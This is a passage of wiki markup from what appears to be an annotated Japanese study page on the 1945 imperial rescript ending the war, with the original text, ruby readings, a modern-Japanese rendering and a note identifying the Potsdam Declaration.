&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：その共同宣言&lt;small&gt;（ポツダム宣言）&lt;/small&gt;を受諾するということを通知させた。&lt;/p&gt;
==== 共同宣言ヲ受諾 ====
*「共同宣言ヲ受諾」：当初は「米英支三国宣言」などと呼んでいた、いわゆる「[[w:ポツダム宣言|ポツダム宣言]]」を受諾するということ。

== 第三段落 ==
&lt;!--◆第三段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）抑〻帝國臣民ノ康寧ヲ圖リ萬&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;共榮ノ樂ヲ偕ニスルハ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;範ニシテ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;拳&amp;#xE0101;&lt;/span&gt;々措カサル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;曩ニ米英二國ニ宣戰セル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以モ亦實ニ帝國ノ自存ト東亞ノ安定トヲ&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;幾󠄁&amp;#xE0101;&lt;/span&gt;スルニ出テ他國ノ主權ヲ排シ領土ヲ&lt;span style=&quot;color:#500;&quot;&gt;&lt;!--〓--&gt;侵󠄁&lt;/span&gt;スカ如キハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ志ニアラス然ルニ&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰已ニ四歲ヲ閱シ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ陸&lt;span style=&quot;color:#500;&quot;&gt;海&amp;#xE0100;&lt;/span&gt;將兵ノ&lt;span style=&quot;color:#500;&quot;&gt;勇&amp;#xE0101;&lt;/span&gt;戰&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ百僚有司ノ勵&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ一億衆&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;ノ奉公󠄁各〻最善ヲ盡セルニ拘ラス戰局必スシモ好轉セス世界ノ大勢亦我ニ利アラス加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ&lt;span style=&quot;color:#500;&quot;&gt;使&amp;#xE0101;&lt;/span&gt;用シテ&lt;span style=&quot;color:#500;&quot;&gt;頻&amp;#xE0100;&lt;/span&gt;ニ無辜ヲ&lt;span style=&quot;color:#500;&quot;&gt;殺&amp;#xE0100;&lt;/span&gt;傷シ慘&lt;span style=&quot;color:#500;&quot;&gt;害&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;フ&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;眞ニ測ルヘカラサルニ至ル而モ尙&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰ヲ繼續セムカ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;ニ我カ民族ノ滅亡ヲ招來スルノミナラス&lt;span style=&quot;color:#500;&quot;&gt;延&amp;#xE0102;&lt;/span&gt;テ人&lt;span style=&quot;color:#500;&quot;&gt;類&amp;#xE0100;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;文&amp;#xE0101;&lt;/span&gt;明ヲモ破却スヘシ斯ノ如クムハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;何ヲ以テカ億兆ノ赤子ヲ保シ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;靈ニ謝セムヤ是レ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以ナリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、
{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、
{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、
{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。
{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、
{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、
{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、
{{ruby|固|もと}}より{{ruby|朕|ちん}}が{{ruby|志|こころざし}}にあらず。

&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るに&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;已&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;すで&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;歳&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;閲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けみ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;陸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;海&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;勇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;百&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;僚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;有&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;司&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;励&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;衆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;庶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;奉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;公&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;各&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;〻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぜん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;尽&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せるに&lt;ruby&gt;&lt;rb&gt;拘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かかわ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らず、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;必&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かなら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ずしも&lt;ruby&gt;&lt;rb&gt;好&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;転&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せず、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;また&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;われ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;利&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;り&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;あらず。&lt;ruby&gt;&lt;rb&gt;加之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しかのみならず&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;敵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;新&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あらた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;残&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ざん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;虐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;弾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;使&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;用&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;して、&lt;ruby&gt;&lt;rb&gt;頻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しきり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;無&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;む&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;辜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;殺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;惨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;害&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;およ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぶ&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;真&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;測&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るべからざるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;而&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;尚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;継&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;続&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんか、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;わ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぼう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;招&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;するのみならず、&lt;ruby&gt;&lt;rb&gt;延&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;人&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;類&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;るい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;文&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぶん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;明&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をも&lt;ruby&gt;&lt;rb&gt;破&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;は&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;却&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;斯&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くんば、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;何&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なに&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;てか&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;保&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほ(っ)&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;祖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）